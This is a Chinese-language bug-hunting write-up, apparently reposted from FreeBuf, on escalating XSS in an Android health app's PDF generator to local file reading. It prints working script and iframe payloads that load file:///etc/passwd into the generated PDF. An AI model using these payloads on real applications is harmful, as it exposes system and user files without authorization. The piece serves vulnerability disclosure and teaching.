挖洞经验 | 利用PDF生成器的XSS漏洞读取系统本地文件 – 作者:clouds

图片[1]-挖洞经验 | 利用PDF生成器的XSS漏洞读取系统本地文件 – 作者:clouds-安全小百科本文介绍了作者针对某安卓应用App中的PDF生成器进行测试,发现可以利用其中存在的XSS漏洞读取系统本地文件。

漏洞背景

测试目标为某健康管理APP,它可以被预装在安卓系统的移动设备中,且其文件系统是封闭不可被访问读取的。该APP设置了自定义启动器(custom launcher),用户无法更改其界面或访问其内置接口数据。所以在这里,由于利用XSS读取本地文件绕过了该APP本来的业务逻辑,算是一个比较严重的漏洞了。

XSS => LFI

虽然XSS漏洞比较常见,但要想在移动应用APP中发现XSS漏洞也不简单,而且我还是在其内置的PDF生成器(PDF generator)中发现了一个XSS。

由于该APP应用允许用户编辑自己的病历记录,然后保存为PDF打印,因此,我尝试在病历记录中加入了以下正常的HTML Payload,想看看它会否在PDF生成时触发XSS。

<h1>test</h1>test2

然后,在PDF生成过程中,该Payload被触发了,但这没啥大惊小怪的, 接下来我们要看看如何利用该XSS来破坏APP的逻辑。那就从读取本地文件数据下手吧,然后我构造了以下读取本地文件的代码:

<script>
 x=new XMLHttpRequest;
 x.onload=function(){
  document.write(this.responseText)
 };
 x.open("GET","file:///etc/passwd");
 x.send();
</script>

测试之后,没啥显示的。接着,我又用<img>继续构造:

<img src=”xasdasdasd” onerror=”document.write(‘<iframe src=file:///etc/passwd></iframe>’)”/>

哪想到这一构造测试就直接把APP搞崩溃了,不知道是否用到了onerror或img标签才这样,那就来个简单的吧:

<script>document.write(‘<iframe src=file:///etc/passwd></iframe>’);</script>

图片[2]-挖洞经验 | 利用PDF生成器的XSS漏洞读取系统本地文件 – 作者:clouds-安全小百科哦,执行之后,在PDF生成时跳出了以下美妙画面:

图片[3]-挖洞经验 | 利用PDF生成器的XSS漏洞读取系统本地文件 – 作者:clouds-安全小百科

技术参考

https://book.hacktricks.xyz/pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf

https://www.noob.ninja/2017/11/local-file-read-via-xss-in-dynamically.html

参考来源:dixitaditya,编译整理:clouds,转载请注明来自Freebuf.com

来源:freebuf.com 2020-10-23 08:40:02 by: clouds

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论